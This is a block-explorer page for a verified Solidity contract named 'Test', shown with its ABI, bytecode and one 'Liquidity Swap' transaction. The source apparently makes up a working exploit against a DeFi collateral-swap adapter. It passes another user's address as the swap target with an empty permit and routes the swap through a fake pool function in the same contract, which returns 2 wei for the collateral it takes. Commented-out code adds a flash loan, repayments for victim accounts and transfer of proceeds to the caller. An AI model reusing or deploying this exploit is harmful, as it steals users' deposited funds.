FRAX Price: $0.81 (-0.09%)

Contract

0xA8a615a47e6C529af89592b180202AF4b23b7EDf

Overview

FRAX Balance | FXTL Balance

0 FRAX | 118 FXTL

FRAX Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Liquidity Swap277177302025-11-04 8:49:3183 days ago1762246171IN
0xA8a615a4...4b23b7EDf
0 FRAX0.000107310.00010025

Latest 5 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
277177302025-11-04 8:49:3183 days ago1762246171
0xA8a615a4...4b23b7EDf
0 FRAX
277177302025-11-04 8:49:3183 days ago1762246171
0xA8a615a4...4b23b7EDf
0 FRAX
277177302025-11-04 8:49:3183 days ago1762246171
0xA8a615a4...4b23b7EDf
0 FRAX
277177302025-11-04 8:49:3183 days ago1762246171
0xA8a615a4...4b23b7EDf
0 FRAX
277177302025-11-04 8:49:3183 days ago1762246171
0xA8a615a4...4b23b7EDf
0 FRAX

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Test

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
pragma solidity >=0.7.0 <0.9.0;

interface IERC20 {
    function allowance(address owner, address spender) external view returns (uint);
    function balanceOf(address o) external view returns (uint);
    function transfer(address to, uint m) external;
    function transferFrom(address f, address t, uint m) external;
    function approve(address spender, uint m) external;
}

interface IWeth {
    function deposit() external payable;
    function withdraw(uint m) external;
}

interface ICToken {
    function UNDERLYING_ASSET_ADDRESS()
        external
        view
        returns (address);
}

interface IPool {

    struct ReserveData {
        //stores the reserve configuration
        ReserveConfigurationMap configuration;
        //the liquidity index. Expressed in ray
        uint128 liquidityIndex;
        //the current supply rate. Expressed in ray
        uint128 currentLiquidityRate;
        //variable borrow index. Expressed in ray
        uint128 variableBorrowIndex;
        //the current variable borrow rate. Expressed in ray
        uint128 currentVariableBorrowRate;
        //the current stable borrow rate. Expressed in ray
        uint128 currentStableBorrowRate;
        //timestamp of last update
        uint40 lastUpdateTimestamp;
        //the id of the reserve. Represents the position in the list of the active reserves
        uint16 id;
        //aToken address
        address aTokenAddress;
        //stableDebtToken address
        address stableDebtTokenAddress;
        //variableDebtToken address
        address variableDebtTokenAddress;
        //address of the interest rate strategy
        address interestRateStrategyAddress;
        //the current treasury balance, scaled
        uint128 accruedToTreasury;
        //the outstanding unbacked aTokens minted through the bridging feature
        uint128 unbacked;
        //the outstanding debt borrowed against this asset in isolation mode
        uint128 isolationModeTotalDebt;
    }

    struct ReserveConfigurationMap {
        //bit 0-15: LTV
        //bit 16-31: Liq. threshold
        //bit 32-47: Liq. bonus
        //bit 48-55: Decimals
        //bit 56: reserve is active
        //bit 57: reserve is frozen
        //bit 58: borrowing is enabled
        //bit 59: stable rate borrowing enabled
        //bit 60: asset is paused
        //bit 61: borrowing in isolation mode is enabled
        //bit 62: siloed borrowing enabled
        //bit 63: flashloaning enabled
        //bit 64-79: reserve factor
        //bit 80-115 borrow cap in whole tokens, borrowCap == 0 => no cap
        //bit 116-151 supply cap in whole tokens, supplyCap == 0 => no cap
        //bit 152-167 liquidation protocol fee
        //bit 168-175 eMode category
        //bit 176-211 unbacked mint cap in whole tokens, unbackedMintCap == 0 => minting disabled
        //bit 212-251 debt ceiling for isolation mode with (ReserveConfiguration::DEBT_CEILING_DECIMALS) decimals
        //bit 252-255 unused

        uint256 data;
    }
    function getReservesList() external view returns (address[] memory);
    function getReserveData(
        address asset
    ) external view returns (ReserveData memory);

    function flashLoanSimple(
        address receiverAddress,
        address asset,
        uint256 amount,
        bytes calldata params,
        uint16 referralCode
    ) external;

    function getUserAccountData(
        address user
    )
        external
        view
        returns (
            uint256 totalCollateralBase,
            uint256 totalDebtBase,
            uint256 availableBorrowsBase,
            uint256 currentLiquidationThreshold,
            uint256 ltv,
            uint256 healthFactor
        );
    function repay(
        address asset,
        uint256 amount,
        uint256 interestRateMode,
        address onBehalfOf
    ) external returns (uint256);


    enum InterestRateMode {
        NONE,
        STABLE,
        VARIABLE
    }

    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata interestRateModes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}

interface IAdapter {
    struct PermitInput {
        address aToken; // the asset to give allowance for
        uint256 value; // the amount of asset for the allowance
        uint256 deadline; // expiration unix timestamp
        uint8 v; // sig v
        bytes32 r; // sig r
        bytes32 s; // sig s
    }


    struct LiquiditySwapParams {
        address collateralAsset; // the asset to swap collateral from
        uint256 collateralAmountToSwap; // the amount of asset to swap from
        address newCollateralAsset; // the asset to swap collateral to
        uint256 newCollateralAmount; // the minimum amount of new collateral asset to receive
        address user; // the address of user
        bool withFlashLoan; // true if flashloan is needed to swap collateral, otherwise false
        address[11] route; // the route to swap the collateral asset to the debt asset on Curve
        uint256[4][5] swapParams; // the swap parameters on Curve
    }

    function swapLiquidity(
        LiquiditySwapParams memory liquiditySwapParams,
        PermitInput memory collateralATokenPermit
    ) external;

    struct WithdrawSwapParams {
        address oldAsset; // the asset to withdraw and swap from
        uint256 oldAssetAmount; // the amount to withdraw
        address newAsset; // the asset to swap to
        uint256 minAmountToReceive; // the minimum amount of new asset to receive
        address user; // the address of user
        bytes swapData; // the swap data for Odos
    }
    function withdrawAndSwap(
        WithdrawSwapParams memory withdrawSwapParams,
        PermitInput memory permitInput
    ) external;
}

interface IVault {
    function flashLoan(
        address recipient,
        address[] memory tokens,
        uint256[] memory amounts,
        bytes memory userData
    ) external;
}

interface IOdosRouter {

  struct swapTokenInfo {
    address inputToken;
    uint256 inputAmount;
    address inputReceiver;
    address outputToken;
    uint256 outputQuote;
    uint256 outputMin;
    address outputReceiver;
  }
  function swap(
    swapTokenInfo memory tokenInfo,
    bytes calldata pathDefinition,
    address executor,
    uint32 referralCode
  )
    external
    payable
    returns (uint256 amountOut);
}

contract Test {
    // function run() external {
    // //     IVault vault = IVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    // //     address[] memory tokens = new address[](1);
    // //     tokens[0] = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
    // //     uint256[] memory amounts = new uint256[](1);
    // //     amounts[0] = 2* 1e18;
    // //     vault.flashLoan(address(this), tokens, amounts, "");
    //     IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);

    //     address[] memory assets = new address[](1);
    //     assets[0] = 0x211Cc4DD073734dA055fbF44a2b4667d5E5fE5d2;
    //     uint[] memory amounts = new uint[](1);
    //     amounts[0] = 10;

        
    //     pool.flashLoan(
    //         address(this),
    //         assets,
    //         amounts,
    //         new uint[](1),
    //         address(0),
    //         "",
    //         0
    //     );
    // }
    // // }
    
    // // function receiveFlashLoan(address[] memory tokens, uint[] memory amounts, uint[] memory feeAmounts, bytes memory userData) external {

    // function executeOperation(
    //     address[] calldata assets,
    //     uint256[] calldata amounts,
    //     uint256[] calldata premiums,
    //     address initiator,
    //     bytes calldata params
    // ) external returns (bool) {
    //     require(initiator == address(this), "!!");
    //     IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);

    //     IERC20(0x788D96f655735f52c676A133f4dFC53cEC614d4A).approve(address(pool), 2**256-1);

    //     address[2] memory ret;
    //     ret[0] = liquiditySwap(0xD3200925Ff2DFB6f4Dfcc4D473DD2Ea690907307, 0x29d0256fe397F6e442464982C4Cba7670646059b, assets[0], 0);

    //     repay(0xb2CcF74c42C8491c6EbD6388D871E90C3C237077, 0x788D96f655735f52c676A133f4dFC53cEC614d4A, 62*1e6);
    //     ret[1] = liquiditySwap(0xb2CcF74c42C8491c6EbD6388D871E90C3C237077, 0x12ED58F0744dE71C39118143dCc26977Cb99cDef, 0x788D96f655735f52c676A133f4dFC53cEC614d4A, 340*1e6);

    //     for(uint i = 0; i < assets.length; i++) {
    //         IERC20(assets[i]).approve(msg.sender, amounts[i] + premiums[i]);
    //     }
    //     for(uint i = 0; i < ret.length; i++) {
    //         uint amount = IERC20(ret[i]).balanceOf(address(this));
    //         if (ret[i] == assets[0]) {
    //             amount -= amounts[0] + premiums[0];
    //         }
    //         IERC20(ret[i]).transfer(tx.origin, amount);
    //     }
    //     return true;
    // }

    // function withdraw(address asset) public {
    //     require(tx.origin == 0xcea838a63e06cF4274d1dE6ab7a9947A92886f45);
    //     IERC20(asset).transfer(tx.origin, IERC20(asset).balanceOf(address(this)));"330000000000000000000"
    // }

    function exchange(uint256 i, uint256 j, uint256 amount, uint256) external {
        IERC20(address(uint160(i))).transferFrom(msg.sender, address(this), amount);
        IERC20(address(uint160(j))).transfer(msg.sender, 2);
    }
    // function repay(address who, address asset, uint amount) private {
    //     IPool pool = IPool(0xD76C827Ee2Ce1E37c37Fc2ce91376812d3c9BCE2);
    //     pool.repay(asset, amount, uint(IPool.InterestRateMode.VARIABLE), who);
    // }
    function liquiditySwap(address target, address ctoken, address debtAsset, uint amount) public returns (address) {
        IAdapter adapter = IAdapter(0x0Fd66456f10D9b850F37Fa129236176B4f982864);
        address asset = ICToken(ctoken).UNDERLYING_ASSET_ADDRESS();
        uint assetAmount = amount == 0 ? IERC20(ctoken).balanceOf(target) - 1 : amount;

        address[11] memory route; // the route to swap the collateral asset to the debt asset on Curve
        uint256[4][5] memory swapParams; // the swap parameters on Curve

        route[0] = asset;
        route[1] = address(this);
        route[2] = debtAsset;

        swapParams[0][0] = uint(uint160(asset));
        swapParams[0][1] = uint(uint160(debtAsset));
        swapParams[0][2] = 1;

        IAdapter.LiquiditySwapParams memory params = IAdapter.LiquiditySwapParams(
            asset,
            assetAmount,
            debtAsset,
            1,
            target,
            false,
            route, // the route to swap the collateral asset to the debt asset on Curve
            swapParams // the swap parameters on Curve
        );
        IAdapter.PermitInput memory permit = IAdapter.PermitInput(
            ctoken, // address aToken; // the asset to give allowance for
            1, // uint256 value; // the amount of asset for the allowance
            0, // uint256 deadline; // expiration unix timestamp
            0, // uint8 v; // sig v
            "", // bytes32 r; // sig r
            "" // bytes32 s; // sig s
        );
        adapter.swapLiquidity(params, permit);
        return asset;
    }
    
    // function run1(address target, address debtAsset, address ctoken, address adapterAddr) private {
    //     IAdapter adapter = IAdapter(adapterAddr);
    //     address asset = ICToken(ctoken).UNDERLYING_ASSET_ADDRESS();
    //     uint assetAmount = IERC20(ctoken).balanceOf(target);

    //     bytes memory swapData = abi.encodeWithSelector(IOdosRouter.swap.selector, 
    //         IOdosRouter.swapTokenInfo(
    //             asset,
    //             assetAmount,
    //             address(this),
    //             debtAsset,
    //             1,
    //             1,
    //             adapterAddr
    //         ),
    //         abi.encode(debtAsset, 1),
    //         address(this),
    //         1
    //     );

    //     IAdapter.RepayParams memory params = IAdapter.RepayParams(
    //         asset, //address collateralAsset;
    //         assetAmount,
    //         debtAsset,
    //         1,
    //         uint(IPool.InterestRateMode.VARIABLE),
    //         target,
    //         1,
    //         swapData
    //     );
    //     IAdapter.PermitInput memory permit = IAdapter.PermitInput(
    //         ctoken, // address aToken; // the asset to give allowance for
    //         1, // uint256 value; // the amount of asset for the allowance
    //         0, // uint256 deadline; // expiration unix timestamp
    //         0, // uint8 v; // sig v
    //         "", // bytes32 r; // sig r
    //         "" // bytes32 s; // sig s
    //     );
    //     adapter.swapAndRepay(params, permit);
    // }
    function min(uint a, uint b) private pure returns (uint ) {
        return a > b ? b : a;
    }

    // function executePath (
    //     bytes calldata bytecode,
    //     uint256[] memory inputAmount,
    //     address msgSender
    // ) external payable {
    //     (address token, uint amount) = abi.decode(bytecode, (address, uint));
    //     IERC20(token).transfer(msg.sender, amount);
    // }
}

// contract Test02 {
//     constructor() {
//         Test t = new Test();
//         t.run();
//         // require(false, "manual!");
//     }
// }

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"uint256","name":"i","type":"uint256"},{"internalType":"uint256","name":"j","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"exchange","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"address","name":"ctoken","type":"address"},{"internalType":"address","name":"debtAsset","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"liquiditySwap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"nonpayable","type":"function"}]

6080604052348015600e575f80fd5b50610cd68061001c5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635b41b90814610038578063f759567814610054575b5f80fd5b610052600480360381019061004d919061062e565b610084565b005b61006e600480360381019061006991906106ec565b61015d565b60405161007b919061075f565b60405180910390f35b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016100c193929190610787565b5f604051808303815f87803b1580156100d8575f80fd5b505af11580156100ea573d5f803e3d5ffd5b505050508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360026040518363ffffffff1660e01b815260040161012a9291906107fe565b5f604051808303815f87803b158015610141575f80fd5b505af1158015610153573d5f803e3d5ffd5b5050505050505050565b5f80730fd66456f10d9b850f37fa129236176b4f98286490505f8573ffffffffffffffffffffffffffffffffffffffff1663b16a19de6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e49190610839565b90505f8085146101f45784610279565b60018773ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b815260040161022f919061075f565b602060405180830381865afa15801561024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026e9190610878565b61027891906108d0565b5b9050610283610585565b61028b6105a8565b83825f600b811061029f5761029e610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030826001600b81106102eb576102ea610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087826002600b811061033757610336610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508373ffffffffffffffffffffffffffffffffffffffff16815f6005811061039857610397610903565b5b60200201515f600481106103af576103ae610903565b5b6020020181815250508773ffffffffffffffffffffffffffffffffffffffff16815f600581106103e2576103e1610903565b5b60200201516001600481106103fa576103f9610903565b5b6020020181815250506001815f6005811061041857610417610903565b5b60200201516002600481106104305761042f610903565b5b6020020181815250505f6040518061010001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020015f151581526020018481526020018381525090505f6040518060c001604052808c73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020015f81526020015f60ff1681526020015f80191681526020015f80191681525090508673ffffffffffffffffffffffffffffffffffffffff1663e172294383836040518363ffffffff1660e01b8152600401610546929190610c77565b5f604051808303815f87803b15801561055d575f80fd5b505af115801561056f573d5f803e3d5ffd5b5050505085975050505050505050949350505050565b604051806101600160405280600b90602082028036833780820191505090505090565b6040518060a001604052806005905b6105bf6105d5565b8152602001906001900390816105b75790505090565b6040518060800160405280600490602082028036833780820191505090505090565b5f80fd5b5f819050919050565b61060d816105fb565b8114610617575f80fd5b50565b5f8135905061062881610604565b92915050565b5f805f8060808587031215610646576106456105f7565b5b5f6106538782880161061a565b94505060206106648782880161061a565b93505060406106758782880161061a565b92505060606106868782880161061a565b91505092959194509250565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106bb82610692565b9050919050565b6106cb816106b1565b81146106d5575f80fd5b50565b5f813590506106e6816106c2565b92915050565b5f805f8060808587031215610704576107036105f7565b5b5f610711878288016106d8565b9450506020610722878288016106d8565b9350506040610733878288016106d8565b92505060606107448782880161061a565b91505092959194509250565b610759816106b1565b82525050565b5f6020820190506107725f830184610750565b92915050565b610781816105fb565b82525050565b5f60608201905061079a5f830186610750565b6107a76020830185610750565b6107b46040830184610778565b949350505050565b5f819050919050565b5f819050919050565b5f6107e86107e36107de846107bc565b6107c5565b6105fb565b9050919050565b6107f8816107ce565b82525050565b5f6040820190506108115f830185610750565b61081e60208301846107ef565b9392505050565b5f81519050610833816106c2565b92915050565b5f6020828403121561084e5761084d6105f7565b5b5f61085b84828501610825565b91505092915050565b5f8151905061087281610604565b92915050565b5f6020828403121561088d5761088c6105f7565b5b5f61089a84828501610864565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6108da826105fb565b91506108e5836105fb565b92508282039050818111156108fd576108fc6108a3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610939816106b1565b82525050565b610948816105fb565b82525050565b5f8115159050919050565b6109628161094e565b82525050565b5f600b9050919050565b5f81905092915050565b5f819050919050565b5f6109908383610930565b60208301905092915050565b5f602082019050919050565b6109b181610968565b6109bb8184610972565b92506109c68261097c565b805f5b838110156109f65781516109dd8782610985565b96506109e88361099c565b9250506001810190506109c9565b505050505050565b5f60059050919050565b5f81905092915050565b5f819050919050565b5f60049050919050565b5f81905092915050565b5f819050919050565b5f610a43838361093f565b60208301905092915050565b5f602082019050919050565b610a6481610a1b565b610a6e8184610a25565b9250610a7982610a2f565b805f5b83811015610aa9578151610a908782610a38565b9650610a9b83610a4f565b925050600181019050610a7c565b505050505050565b5f610abc8383610a5b565b60808301905092915050565b5f602082019050919050565b610add816109fe565b610ae78184610a08565b9250610af282610a12565b805f5b83811015610b22578151610b098782610ab1565b9650610b1483610ac8565b925050600181019050610af5565b505050505050565b6104a082015f820151610b3f5f850182610930565b506020820151610b52602085018261093f565b506040820151610b656040850182610930565b506060820151610b78606085018261093f565b506080820151610b8b6080850182610930565b5060a0820151610b9e60a0850182610959565b5060c0820151610bb160c08501826109a8565b5060e0820151610bc5610220850182610ad4565b50505050565b5f60ff82169050919050565b610be081610bcb565b82525050565b5f819050919050565b610bf881610be6565b82525050565b60c082015f820151610c125f850182610930565b506020820151610c25602085018261093f565b506040820151610c38604085018261093f565b506060820151610c4b6060850182610bd7565b506080820151610c5e6080850182610bef565b5060a0820151610c7160a0850182610bef565b50505050565b5f61056082019050610c8b5f830185610b2a565b610c996104a0830184610bfe565b939250505056fea2646970667358221220b97a783636c8968d8183f2e3e712c14bc3f89cc12b975745cf3e848b188571eb64736f6c634300081a0033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80635b41b90814610038578063f759567814610054575b5f80fd5b610052600480360381019061004d919061062e565b610084565b005b61006e600480360381019061006991906106ec565b61015d565b60405161007b919061075f565b60405180910390f35b8373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b81526004016100c193929190610787565b5f604051808303815f87803b1580156100d8575f80fd5b505af11580156100ea573d5f803e3d5ffd5b505050508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360026040518363ffffffff1660e01b815260040161012a9291906107fe565b5f604051808303815f87803b158015610141575f80fd5b505af1158015610153573d5f803e3d5ffd5b5050505050505050565b5f80730fd66456f10d9b850f37fa129236176b4f98286490505f8573ffffffffffffffffffffffffffffffffffffffff1663b16a19de6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e49190610839565b90505f8085146101f45784610279565b60018773ffffffffffffffffffffffffffffffffffffffff166370a082318a6040518263ffffffff1660e01b815260040161022f919061075f565b602060405180830381865afa15801561024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026e9190610878565b61027891906108d0565b5b9050610283610585565b61028b6105a8565b83825f600b811061029f5761029e610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030826001600b81106102eb576102ea610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505087826002600b811061033757610336610903565b5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508373ffffffffffffffffffffffffffffffffffffffff16815f6005811061039857610397610903565b5b60200201515f600481106103af576103ae610903565b5b6020020181815250508773ffffffffffffffffffffffffffffffffffffffff16815f600581106103e2576103e1610903565b5b60200201516001600481106103fa576103f9610903565b5b6020020181815250506001815f6005811061041857610417610903565b5b60200201516002600481106104305761042f610903565b5b6020020181815250505f6040518061010001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018a73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020018c73ffffffffffffffffffffffffffffffffffffffff1681526020015f151581526020018481526020018381525090505f6040518060c001604052808c73ffffffffffffffffffffffffffffffffffffffff168152602001600181526020015f81526020015f60ff1681526020015f80191681526020015f80191681525090508673ffffffffffffffffffffffffffffffffffffffff1663e172294383836040518363ffffffff1660e01b8152600401610546929190610c77565b5f604051808303815f87803b15801561055d575f80fd5b505af115801561056f573d5f803e3d5ffd5b5050505085975050505050505050949350505050565b604051806101600160405280600b90602082028036833780820191505090505090565b6040518060a001604052806005905b6105bf6105d5565b8152602001906001900390816105b75790505090565b6040518060800160405280600490602082028036833780820191505090505090565b5f80fd5b5f819050919050565b61060d816105fb565b8114610617575f80fd5b50565b5f8135905061062881610604565b92915050565b5f805f8060808587031215610646576106456105f7565b5b5f6106538782880161061a565b94505060206106648782880161061a565b93505060406106758782880161061a565b92505060606106868782880161061a565b91505092959194509250565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106bb82610692565b9050919050565b6106cb816106b1565b81146106d5575f80fd5b50565b5f813590506106e6816106c2565b92915050565b5f805f8060808587031215610704576107036105f7565b5b5f610711878288016106d8565b9450506020610722878288016106d8565b9350506040610733878288016106d8565b92505060606107448782880161061a565b91505092959194509250565b610759816106b1565b82525050565b5f6020820190506107725f830184610750565b92915050565b610781816105fb565b82525050565b5f60608201905061079a5f830186610750565b6107a76020830185610750565b6107b46040830184610778565b949350505050565b5f819050919050565b5f819050919050565b5f6107e86107e36107de846107bc565b6107c5565b6105fb565b9050919050565b6107f8816107ce565b82525050565b5f6040820190506108115f830185610750565b61081e60208301846107ef565b9392505050565b5f81519050610833816106c2565b92915050565b5f6020828403121561084e5761084d6105f7565b5b5f61085b84828501610825565b91505092915050565b5f8151905061087281610604565b92915050565b5f6020828403121561088d5761088c6105f7565b5b5f61089a84828501610864565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6108da826105fb565b91506108e5836105fb565b92508282039050818111156108fd576108fc6108a3565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610939816106b1565b82525050565b610948816105fb565b82525050565b5f8115159050919050565b6109628161094e565b82525050565b5f600b9050919050565b5f81905092915050565b5f819050919050565b5f6109908383610930565b60208301905092915050565b5f602082019050919050565b6109b181610968565b6109bb8184610972565b92506109c68261097c565b805f5b838110156109f65781516109dd8782610985565b96506109e88361099c565b9250506001810190506109c9565b505050505050565b5f60059050919050565b5f81905092915050565b5f819050919050565b5f60049050919050565b5f81905092915050565b5f819050919050565b5f610a43838361093f565b60208301905092915050565b5f602082019050919050565b610a6481610a1b565b610a6e8184610a25565b9250610a7982610a2f565b805f5b83811015610aa9578151610a908782610a38565b9650610a9b83610a4f565b925050600181019050610a7c565b505050505050565b5f610abc8383610a5b565b60808301905092915050565b5f602082019050919050565b610add816109fe565b610ae78184610a08565b9250610af282610a12565b805f5b83811015610b22578151610b098782610ab1565b9650610b1483610ac8565b925050600181019050610af5565b505050505050565b6104a082015f820151610b3f5f850182610930565b506020820151610b52602085018261093f565b506040820151610b656040850182610930565b506060820151610b78606085018261093f565b506080820151610b8b6080850182610930565b5060a0820151610b9e60a0850182610959565b5060c0820151610bb160c08501826109a8565b5060e0820151610bc5610220850182610ad4565b50505050565b5f60ff82169050919050565b610be081610bcb565b82525050565b5f819050919050565b610bf881610be6565b82525050565b60c082015f820151610c125f850182610930565b506020820151610c25602085018261093f565b506040820151610c38604085018261093f565b506060820151610c4b6060850182610bd7565b506080820151610c5e6080850182610bef565b5060a0820151610c7160a0850182610bef565b50505050565b5f61056082019050610c8b5f830185610b2a565b610c996104a0830184610bfe565b939250505056fea2646970667358221220b97a783636c8968d8183f2e3e712c14bc3f89cc12b975745cf3e848b188571eb64736f6c634300081a0033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.